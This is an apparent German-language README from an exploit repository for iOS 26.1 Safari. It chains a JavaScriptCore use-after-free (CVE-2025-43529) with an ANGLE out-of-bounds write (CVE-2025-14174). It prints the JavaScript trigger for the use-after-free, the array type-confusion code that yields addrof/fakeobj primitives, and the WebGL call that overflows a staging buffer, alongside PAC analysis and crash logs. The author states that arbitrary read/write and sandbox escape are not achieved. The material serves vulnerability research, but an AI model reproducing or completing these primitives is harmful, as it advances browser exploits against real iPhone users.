
Analyse der Exploit-Kette von CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari
Notizen und PoC-Material für eine WebKit/ANGLE-Kette auf iOS 26.1. Dies ist kein vollständiger Exploit; er trennt verifizierte Primitive von den Teilen, die noch scheitern.
Autor: zeroxjf
Basiert auf: jir4vv1ts Exploit für CVE-2025-43529
Status: Teilkette; beliebiges R/W nicht nachgewiesen
Testgerät: iPhone 11 Pro Max, iOS 26.1
Zuletzt aktualisiert: Januar 2026
Der UAF-Trigger von CVE-2025-43529, das Butterfly-Reclaim und die addrof/fakeobj-Primitive basieren auf jir4vv1ts Arbeit. Meine Ergänzungen sind die ANGLE-OOB-Anbindung, die PAC-fokussierte Analyse und die Validierung unter iOS 26.1.
Zwei WebKit-CVEs wurden gemeinsam offengelegt und von Apple als In-the-Wild-Ausnutzung gemeldet.
| CVE | Komponente | Typ | Zusammenfassung |
|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | Fehlende Write-Barrier im DFG JIT führt dazu, dass der GC lebende Objekte freigibt |
| CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Metal-Backend verwendet falsche Höhe für die Staging-Puffer-Zuweisung |
Der Fehler liegt im DFG-JIT von JavaScriptCore, genauer in der Store-Barrier-Insertion-Phase (DFGStoreBarrierInsertionPhase.cpp).
Wenn ein Phi-Knoten entkommt, seine Upsilon-Eingaben jedoch nicht als entkommen markiert sind, erhalten spätere Stores keine Write-Barrier. Das erlaubt dem GC, Objekte freizugeben, die weiterhin erreichbar sind.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
Das Butterfly des freigegebenen Date-Objekts kann durch Spray-Arrays zurückgewonnen werden, was eine Typverwechslung erzeugt:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
Im Metal-Backend von ANGLE (TextureMtl.cpp) verwendet die Zuweisung des Staging-Puffers beim Hochladen über PBO UNPACK_IMAGE_HEIGHT anstelle der tatsächlichen Texturhöhe.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Auf arm64e (iPhone 11 Pro Max) schützen Pointer Authentication Codes (PAC) kritische JSC-Zeiger:
| Zeiger | Geschützt | Ergebnis |
|---|---|---|
TypedArray m_vector | Ja | TypedArray mit beliebigem Backing-Store kann nicht gefälscht werden |
JSArray butterfly | Ja | JSArray mit beliebigem Butterfly kann nicht gefälscht werden |
Wenn ich versuche, ein gefälschtes TypedArray/JSArray mit einem beliebigen Datenzeiger zu erzeugen, schlägt die PAC-Verifizierung fehl und es kommt zum Absturz:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
Die Typverwechslung gelingt, weil beide Arrays legitim signierte Butterfly-Zeiger verwenden – wir interpretieren lediglich denselben Speicher um. Gefälschte Objekte mit beliebigen unsignierten Zeigern stürzen bei der PAC-Prüfung ab.
| Primitive | Status | Anmerkungen |
|---|---|---|
addrof(obj) | Funktioniert | In Probe verifiziert |
fakeobj(addr) | Funktioniert | Gegen bekannte Objekte verifiziert |
| Adress-Leaking | Funktioniert | 20+ Adressen pro Lauf |
| Inline-Slot-Lesen/Schreiben | Funktioniert | An bekannten Inline-Slots verifiziert (objektadressenbasiert) |
read64(addr) | Unverifiziert | Über den Inline-Slot-Trick konstruiert, Nachweis fehlgeschlagen |
write64(addr) | Unverifiziert | Über den Inline-Slot-Trick konstruiert, Nachweis fehlgeschlagen |
addrof, fakeobj, Adress-Leaks, Inline-Slot-Lesen/-Schreiben an bekannten Objektenread64/write64, Renderer→GPU-Escape-Kette, Sandbox-Escape├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
Der CVE-2025-43529-Trigger, die Butterfly-Reclaim-Technik und der addrof/fakeobj-Aufbau basieren auf jir4vv1t/CVE-2025-43529. Dieses Repository ergänzt die iOS-26.1-Validierung, PAC-Hinweise und die ANGLE-OOB-Anbindung.
Aktueller Stand: Nützlich zur Reproduktion des JSC-Primitives und des PAC-Hindernisses; keine vollständige Exploit-Kette.